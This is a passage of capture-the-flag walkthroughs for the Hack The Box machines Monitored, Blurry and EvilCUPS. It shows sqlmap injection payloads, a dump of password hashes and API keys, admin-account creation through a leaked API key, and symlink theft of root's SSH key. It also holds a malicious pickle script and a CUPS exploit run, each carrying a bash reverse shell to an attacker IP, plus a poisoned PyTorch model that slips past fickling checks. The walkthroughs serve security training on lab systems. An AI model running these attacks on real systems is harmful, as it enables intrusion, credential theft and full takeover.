Next, I used sqlmap to start enumerating the database. sqlmap confirmed the vulnerability in the id parameter:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=3&action=acknowledge_banner_message" -p id --cookie "nagiosxi=lvdk2h40oc70tl1b8v94r28led" --batch --threads 10

<...snip...>

POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (8623=8623) THEN 3 ELSE (SELECT 5042 UNION SELECT 4628) END))&action=acknowledge_banner_message

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=3 OR (SELECT 5963 FROM(SELECT COUNT(*),CONCAT(0x716b717171,(SELECT (ELT(5963=5963,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&action=acknowledge_banner_message

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=3 AND (SELECT 1164 FROM (SELECT(SLEEP(5)))BVNf)&action=acknowledge_banner_message
---

<...snip...>

Running sqlmap with the --dbs option showed two available databases, information_schema and nagiosxi:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=3&action=acknowledge_banner_message" -p id --cookie "nagiosxi=lvdk2h40oc70tl1b8v94r28led" --batch --threads 10 --dbs

<...snip...>

available databases [2]:
[*] information_schema
[*] nagiosxi

<...snip...>

To list all the tables in nagiosxi, I used the -D nagiosxi --tables options:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=3&action=acknowledge_banner_message" -p id --cookie "nagiosxi=lvdk2h40oc70tl1b8v94r28led" --batch --threads 10 -D nagiosxi --tables

<...snip...>

Database: nagiosxi
[22 tables]
+-----------------------------+
| xi_auditlog                 |
| xi_auth_tokens              |
| xi_banner_messages          |
| xi_cmp_ccm_backups          |
| xi_cmp_favorites            |
| xi_cmp_nagiosbpi_backups    |
| xi_cmp_scheduledreports_log |
| xi_cmp_trapdata             |
| xi_cmp_trapdata_log         |
| xi_commands                 |
| xi_deploy_agents            |
| xi_deploy_jobs              |
| xi_eventqueue               |
| xi_events                   |
| xi_link_users_messages      |
| xi_meta                     |
| xi_mibs                     |
| xi_options                  |
| xi_sessions                 |
| xi_sysstat                  |
| xi_usermeta                 |
| xi_users                    |
+-----------------------------+

<...snip...>

The xi_users table seemed interesting, so I retrieved the data with --dump:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php" --data="id=3&action=acknowledge_banner_message" -p id --cookie "nagiosxi=lvdk2h40oc70tl1b8v94r28led" --batch --threads 10 -D nagiosxi -T xi_users --dump

<...snip...>

Database: nagiosxi
Table: xi_users
[2 entries]
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email               | name                 | api_key                                                          | enabled | password                                                     | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 1730011393   | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 4              | 1701427555           |
| 2       | svc@monitored.htb   | svc                  | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1730014090   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 9              | 1699697433           |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

<...snip...>

Hashcat wasn't able to crack the password hashes, but there was an API key for the nagiosadmin user which allowed me to authenticate to the API. For example, I could request user data at the /nagiosxi/api/v1/system/user endpoint:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user&apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL" | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   227  100   227    0     0   1287      0 --:--:-- --:--:-- --:--:--  1297
{
  "records": 2,
  "users": [
    {
      "user_id": "2",
      "username": "svc",
      "name": "svc",
      "email": "svc@monitored.htb",
      "enabled": "0"
    },
    {
      "user_id": "1",
      "username": "nagiosadmin",
      "name": "Nagios Administrator",
      "email": "admin@monitored.htb",
      "enabled": "1"
    }
  ]
}

Sending the request as a POST returned an error message:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ curl -k -X POST "https://nagios.monitored.htb/nagiosxi/api/v1/system/user&apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL" | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   109  100   109    0     0    615      0 --:--:-- --:--:-- --:--:--   619
{
  "error": "Could not create user. Missing required fields.",
  "missing": [
    "username",
    "email",
    "name",
    "password"
  ]
}

The following snippet from this 2018 exploit on ExploitDB shows how to create an admin user after an API key has been obtained:

  def try_add_admin(key, username, passwd)
    vprint_status "STEP 3: trying to add admin user with key #{key}"
    res = send_request_cgi({
      'uri'=> "/nagiosxi/api/v1/system/user",
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_get' => {
        'apikey' => key,
        'pretty' => 1
      },
      'vars_post' =>{
        'username'   => username,
        'password'   => passwd,
        'name'       => rand_text_alpha(rand(5) + 5),
        'email'      =>"#{username}@localhost",
        'auth_level' =>'admin',
        'force_pw_change' => 0
      }
    })

So referencing the above code, I sent the following request using the API key of the nagiosadmin user to add another admin user:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ curl -d "username=test&password=P@ssw0rd&name=test&email=test@monitored.htb&auth_level=admin&force_pw_change=0" -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL"
{"success":"User account test was added successfully!","user_id":6}

After creating the new user, I logged in:

To get command execution using the web interface, first I went to Advanced Config:

This brought up the Core Config Manager page which had a Commands section:

The Commands page contained a list of system commands:

I clicked "+ Add New" and added a reverse shell command:

I saved the command and chose "Apply Configuration" on the Commands page, then in the left navbar I went to the Hosts page:

Choosing localhost brought up the Host Management page which had a Check command dropdown:

From the dropdown, I selected the reverse shell command that I created:

I started a nc listener and then clicked "Run Check Command":

Once the command was run, nc caught a shell as nagios:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ nc -lvnp 443                               
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.248] 36592
bash: cannot set terminal process group (18368): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:~$ id    
id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)
nagios@monitored:~$ ls
ls
cookie.txt
user.txt

I upgraded the shell with the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

stty raw -echo; fg

The nagios user had the following sudo privileges:

nagios@monitored:~$ sudo -l
Matching Defaults entries for nagios on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User nagios may run the following commands on localhost:
    (root) NOPASSWD: /etc/init.d/nagios start
    (root) NOPASSWD: /etc/init.d/nagios stop
    (root) NOPASSWD: /etc/init.d/nagios restart
    (root) NOPASSWD: /etc/init.d/nagios reload
    (root) NOPASSWD: /etc/init.d/nagios status
    (root) NOPASSWD: /etc/init.d/nagios checkconfig
    (root) NOPASSWD: /etc/init.d/npcd start
    (root) NOPASSWD: /etc/init.d/npcd stop
    (root) NOPASSWD: /etc/init.d/npcd restart
    (root) NOPASSWD: /etc/init.d/npcd reload
    (root) NOPASSWD: /etc/init.d/npcd status
    (root) NOPASSWD: /usr/bin/php
        /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
    (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
    (root) NOPASSWD: /usr/bin/php
        /usr/local/nagiosxi/scripts/migrate/migrate.php *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
    (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *

The getprofile.sh script gathers various logs and system details and then compresses the collected data into a ZIP archive. The following section of getprofile.sh checks if /usr/local/nagiosxi/tmp/phpmailer.log exists, and if so, uses tail to retrieve the last 100 lines from the phpmailer.log file and saves this output to a specified folder:

echo "Getting phpmailer.log..."
if [ -f /usr/local/nagiosxi/tmp/phpmailer.log ]; then
    tail -100 /usr/local/nagiosxi/tmp/phpmailer.log > "/usr/local/nagiosxi/var/components/profile/$folder/phpmailer.log"
fi

nagios owned /usr/local/nagiosxi/tmp/phpmailer.log:

nagios@monitored:~$ ls -l /usr/local/nagiosxi/tmp/phpmailer.log
-rw-r--r-- 1 nagios nagios 0 Nov 10  2023 /usr/local/nagiosxi/tmp/phpmailer.log

Since nagios was the owner of /usr/local/nagiosxi/tmp/phpmailer.log, the file can be overwritten with a symlink to /root/.ssh/id_rsa which will write the SSH key of root into phpmailer.log.

So I created a symlink (/usr/local/nagiosxi/tmp/phpmailer.log) that points to /root/.ssh/id_rsa:

nagios@monitored:~$ ln -sf /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log
nagios@monitored:~$ ls -l /usr/local/nagiosxi/tmp/phpmailer.log
lrwxrwxrwx 1 nagios nagios 17 Oct 27 05:53 /usr/local/nagiosxi/tmp/phpmailer.log -> /root/.ssh/id_rsa

Then, I ran the script:

nagios@monitored:~$ sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
mv: cannot stat '/usr/local/nagiosxi/tmp/profile-1.html': No such file or directory
-------------------Fetching Information-------------------
Please wait.......
Creating system information...
Creating nagios.txt...
<...snip...>
Zipping logs directory...
<...snip...>
  adding: profile-1730022910/phpmailer.log (deflated 24%)
<...snip...>
Backup and Zip complete!

profile.zip was now in /usr/local/nagiosxi/var/components:

nagios@monitored:~$ cd /usr/local/nagiosxi/var/components
nagios@monitored:/usr/local/nagiosxi/var/components$ ls
auditlog.log  capacityplanning.log  profile  profile.zip

I extracted the archive, which then allowed me to read the private SSH key of the root user stored in profile-1730022910/phpmailer.log:

nagios@monitored:/usr/local/nagiosxi/var/components$ unzip profile.zip 
Archive:  profile.zip
<...snip...>
  inflating: profile-1730022910/phpmailer.log  
<...snip...>

nagios@monitored:/usr/local/nagiosxi/var/components$ cat profile-1730022910/phpmailer.log
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZYnlG22OdnxaaK98DJMc9isuSgg9wtjC0r1iTzlSRVhNALtSd2C
<...snip...>
CNvArnlhyB8ZevAAAADnJvb3RAbW9uaXRvcmVkAQIDBA==
-----END OPENSSH PRIVATE KEY-----

I saved the key locally and then used it to log in as root:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ ssh -i root.key root@10.10.11.248

<...snip...>

root@monitored:~# id
uid=0(root) gid=0(root) groups=0(root)
root@monitored:~# ls
root.txt

Hack The Box - Blurry

Mon, 21 Oct 2024 00:00:00 GMT

Blurry is a Linux machine running an application with a vulnerable version of ClearML, which contains a deserialization flaw (CVE-2024-24590). This vulnerability allows a malicious artifact to be uploaded, leading to arbitrary code execution on the machine of any user who interacts with it. Exploiting this on Blurry results in a shell as the user jippity, who has sudo permissions to run a script that evaluates machine learning models for safety. Upon inspecting the script, it is found to utilize the fickling Python decompiler and static analyzer. The security checks performed by fickling can be bypassed, allowing for a poisoned PyTorch model file to be executed with sudo privileges, resulting in a root shell.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.19
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-18 17:23 EDT
Nmap scan report for blurry.htb (10.10.11.19)
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.24 seconds

Since the Nmap scan showed a subdomain (http://app.blurry.htb) on port 80, I used ffuf to fuzz virtual hosts for any other subdomains:

┌──(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://10.10.11.19 -H "Host: FUZZ.blurry.htb" -mc all -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.19
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.blurry.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

api                     [Status: 400, Size: 280, Words: 4, Lines: 1, Duration: 52ms]
files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 97ms]
app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 90ms]
chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 95ms]

I added the discovered subdomains to /etc/hosts and then visited http://chat.blurry.htb which was a RocketChat workspace:

After creating an account, the home page for Blurry Vision was brought up:

There wasn't anything that seemed useful in the General channel, so next I went to the Directory option in the top left navbar:

There was also an Announcements channel:

The Announcements channel contained the following message from an admin:

The ClearML instance was located at app.blurry.htb:

I signed up for an account which brought up the dashboard:

Viewing the Black Swan project mentioned in the announcement from jippity showed a list of experiments. "Review JSON Artifacts" looked to be the specialized task that reviews artifacts associated with tasks:

The ClearML version 1.13.1 can be found on the settings page:

Searching for vulnerabilities related to version 1.13.1 led me to CVE-2024-24590, and this article from HiddenLayer which provides more detail on CVE-2024-24590.

So next, I started a virtual environment and installed clearml:

┌──(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ python3 -m venv venv

┌──(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ source venv/bin/activate

┌──(venv)─(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ pip install clearml

clearml-init runs the setup script which requires credentials:

┌──(venv)─(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ clearml-init
ClearML SDK setup process

Please create new clearml credentials through the settings page in your `clearml-server` web app (e.g. http://localhost:8080//settings/workspace-configuration) 
Or create a free account at https://app.clear.ml/settings/workspace-configuration

In settings page, press "Create new credentials", then press "Copy to clipboard".

Paste copied configuration here:

As per the instructions, I went to the settings page and chose "Create new credentials":

I copied the credentials above and then pasted them into the clearml-init prompt to complete the setup.

Next, I created the task. The HiddenLayer article contains a script which creates a malicious pickle that runs arbitrary code when it gets deserialized. I set the payload to be a reverse shell command:

exploit.py:

import pickle
import os
from clearml import Task

class RunCommand:
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.26/443 0>&1'",))


command = RunCommand()

task = Task.init(project_name="Black Swan", task_name="shell", tags=["review"])
task.upload_artifact(name="pickle_artifact", artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")

I started a listener with nc and then ran the script:

┌──(venv)─(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ python3 exploit.py
ClearML Task: created new task id=4f0dc7ad1545453b9497e65d95c78680
2024-10-18 18:24:04,276 - clearml.Task - INFO - No repository found, storing script code instead
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/4f0dc7ad1545453b9497e65d95c78680/output/log
CLEARML-SERVER new package available: UPGRADE to v1.16.2 is recommended!
Release Notes:
### Bug Fixes
- Fix no graphs are shown in workers and queues screens
ClearML Monitor: GPU monitoring failed getting GPU reading, switching off GPU monitoring

Once the task got reviewed after about a minute, nc caught a shell as jippity:

┌──(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.11.19] 59488
bash: cannot set terminal process group (4851): Inappropriate ioctl for device
bash: no job control in this shell
jippity@blurry:~$ id
id
uid=1000(jippity) gid=1000(jippity) groups=1000(jippity)
jippity@blurry:~$ ls
ls
automation
clearml.conf
user.txt

I upgraded the shell with the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

stty raw -echo; fg

Checking sudo permissions revealed that jippity could run /usr/bin/evaluate_model without a password on any PyTorch model file located in /models:

jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

/models contained a demo model and a python script:

jippity@blurry:~$ cd /models
jippity@blurry:/models$ ls -la
total 1068
drwxrwxr-x  2 root jippity    4096 Jun 17 14:11 .
drwxr-xr-x 19 root root       4096 Jun  3 09:28 ..
-rw-r--r--  1 root root    1077880 May 30 04:39 demo_model.pth
-rw-r--r--  1 root root       2547 May 30 04:38 evaluate_model.py

Example of running /usr/bin/evaluate_model on demo_model.pth:

jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
[+] Loaded Model.
[+] Dataloader ready. Evaluating model...
[+] Accuracy of the model on the test dataset: 68.75%

/usr/bin/evaluate_model was a bash script:

jippity@blurry:/models$ file /usr/bin/evaluate_model
/usr/bin/evaluate_model: Bourne-Again shell script, ASCII text executable

/usr/bin/evaluate_model:

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.

if [ "$#" -ne 1 ]; then
    /usr/bin/echo "Usage: $0 <path_to_model.pth>"
    exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  

/usr/bin/mkdir -p "$TEMP_DIR"

file_type=$(/usr/bin/file --brief "$MODEL_FILE")

# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
    # POSIX tar archive (older PyTorch format)
    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
    # Zip archive (newer PyTorch format)
    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
    exit 2
fi

/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
        /bin/rm "$MODEL_FILE"
        break
    fi
done

/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
    
fi

Viewing the code of /usr/bin/evaluate_model showed that it checks the contents of a model for potentially malicious pickle files using fickling, a Python decompiler and static code analyzer. If deemed as malicious, it deletes the model file; if considered safe, it runs evaluate_model.py which tests the model for accuracy.

There's another article here from HiddenLayer about weaponizing PyTorch models which contains this PoC. The script injects arbitrary code into an existing PyTorch model, providing options—system, exec, eval, and runpy—to execute commands. These options can potentially bypass security checks, including those performed by fickling.

So I transferred a copy of demo_model.pth locally and then installed torch:

┌──(venv)─(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ pip install torch

Next, I used the PoC (torch_pickle_inject.py) to embed the bash command using the system option against the demo model (demo_model.pth):

┌──(venv)─(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ python3 torch_pickle_inject.py demo_model.pth system "bash"

torch_pickle_inject.py creates a backup of demo_model.pth called demo_model.pth.bak and poisons the original. So I renamed demo_model.pth to demo_model_1.pth and transferred it over to Blurry. Then, running it as sudo spawned a shell as root:

jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model_1.pth
[+] Model /models/demo_model_1.pth is considered safe. Processing...
root@blurry:/models# id
uid=0(root) gid=0(root) groups=0(root)
root@blurry:/models# cd /root
root@blurry:~# ls
datasets  root.txt

I tested each of the options in the PoC (system, exec, eval, and runpy). Both exec and eval get evaluated as "OVERTLY_MALICIOUS". However, system (as shown above) successfully bypassed the fickling check, runpy also works.

Running torch_pickle_inject.py against the demo model to embed the bash command using runpy:

┌──(venv)─(kali㉿kali)-[~/Desktop/HTB/Blurry]
└─$ python3 torch_pickle_inject.py demo_model.pth runpy "import os; os.system('bash')"

Same as with system, I transferred the poisoned model to Blurry and ran the evaluation script as sudo to get a root shell:

jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model_1.pth
[+] Model /models/demo_model_1.pth is considered safe. Processing...
root@blurry:/models# id
uid=0(root) gid=0(root) groups=0(root)

Hack The Box - EvilCUPS

Tue, 15 Oct 2024 00:00:00 GMT

EvilCUPS is a Linux machine affected by several vulnerabilities discovered in CUPS (Common Unix Printing System) in September 2024. These vulnerabilities (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177) can be chained to achieve RCE by giving an unauthenticated attacker the ability to add a malicious printer to the machine, and when a print job is executed, arbitrary commands are run. In this case, exploiting these flaws results in a shell as the lp user. This user's permissions can then be leveraged to read a print job from the cache containing the root user's password.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 13:19 EDT
Nmap scan report for 10.10.11.40
Host is up (0.062s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.08 seconds

As shown in the Nmap output above, the machine was running CUPS on TCP port 631, so I checked UDP port 631 since CUPS uses it for printer sharing and discovery, it was also open:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ sudo nmap -sU -p 631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 13:21 EDT
Nmap scan report for 10.10.11.40
Host is up (0.041s latency).

PORT    STATE         SERVICE
631/udp open|filtered ipp

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

Next, I visited the web interface by browsing to 10.10.11.40:631:

Access to the Administration page was forbidden:

The Jobs page allowed active and completed jobs to be viewed:

"Show All Jobs" listed one completed job:

The Printers page showed one printer on the machine:

Clicking "Canon_MB2300_series" brought up the administration page for the printer:

Notably, the "Maintenance" dropdown can be used to print a test page:

Recently, a researcher discovered a vulnerability chain consisting of four CVEs in CUPS that leads to RCE, detailed here. Based on the original exploit script, the creator of this HTB machine wrote a PoC, which can be found here. The PoC creates a fake printer on the target machine that, when used to run a print job, can execute a specified command. I cloned the script and ran it, specifying a reverse shell command:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS/evil-cups]
└─$ python3 evilcups.py 10.10.14.15 10.10.11.40 "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1'&"
IPP Server Listening on ('10.10.14.15', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
20 elapsed
target connected, sending payload ...

After running the exploit, a new printer was added:

Next, I started a listener with nc, then went to the administration page for the HACKED_10_10_14_15 printer and selected the "Print Test Page" option from the dropdown:

After clicking "Print Test Page", nc caught a shell as lp which is the dedicated system account used for managing printing services:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.40] 37032
bash: cannot set terminal process group (1270): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ id
id
uid=7(lp) gid=7(lp) groups=7(lp)

I upgraded the shell with the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

stty raw -echo; fg

The only user directory on the machine was htb, to which lp had read, write, and execute permissions:

lp@evilcups:/$ cd home
lp@evilcups:/home$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Sep 27 21:05 .
drwxr-xr-x 18 root root 4096 Sep 28 11:15 ..
drwxrwx---  2 htb  lp   4096 Sep 28 22:11 htb
lp@evilcups:/home$ cd htb
lp@evilcups:/home/htb$ ls -la
total 24
drwxrwx--- 2 htb  lp   4096 Sep 28 22:11 .
drwxr-xr-x 3 root root 4096 Sep 27 21:05 ..
lrwxrwxrwx 1 htb  lp      9 Sep 28 11:12 .bash_history -> /dev/null
-rwxrw---- 1 htb  lp    220 Sep 27 21:05 .bash_logout
-rwxrw---- 1 htb  lp   3526 Sep 27 21:05 .bashrc
-rwxrw---- 1 htb  lp    807 Sep 27 21:05 .profile
-rw-r--r-- 1 root htb    33 Oct 11 13:19 user.txt

The home directory of lp was /var/spool/cups/tmp, there wasn't anything useful there:

lp@evilcups:/home/htb$ cd ~
lp@evilcups:~$ pwd
/var/spool/cups/tmp
lp@evilcups:~$ ls -la
total 12
drwxrwx--T 2 root lp 4096 Oct 11 13:33 .
drwx--x--- 3 root lp 4096 Oct 11 13:48 ..
-rw------- 1 lp   lp  146 Oct 11 13:40 .bash_history
-rw------- 1 lp   lp    0 Oct 11 13:28 cups-dbus-notifier-lockfile

When using CUPS, the lp user manages files and directories related to printing. Job files are typically stored in /var/spool/cups/. By default, the lp user can access /var/spool/cups/ but cannot list its contents directly, as lp only has execute permissions on /var/spool/cups/:

lp@evilcups:~$ ls -ld /var/spool/cups
drwx--x--- 3 root lp 4096 Oct 11 13:48 /var/spool/cups

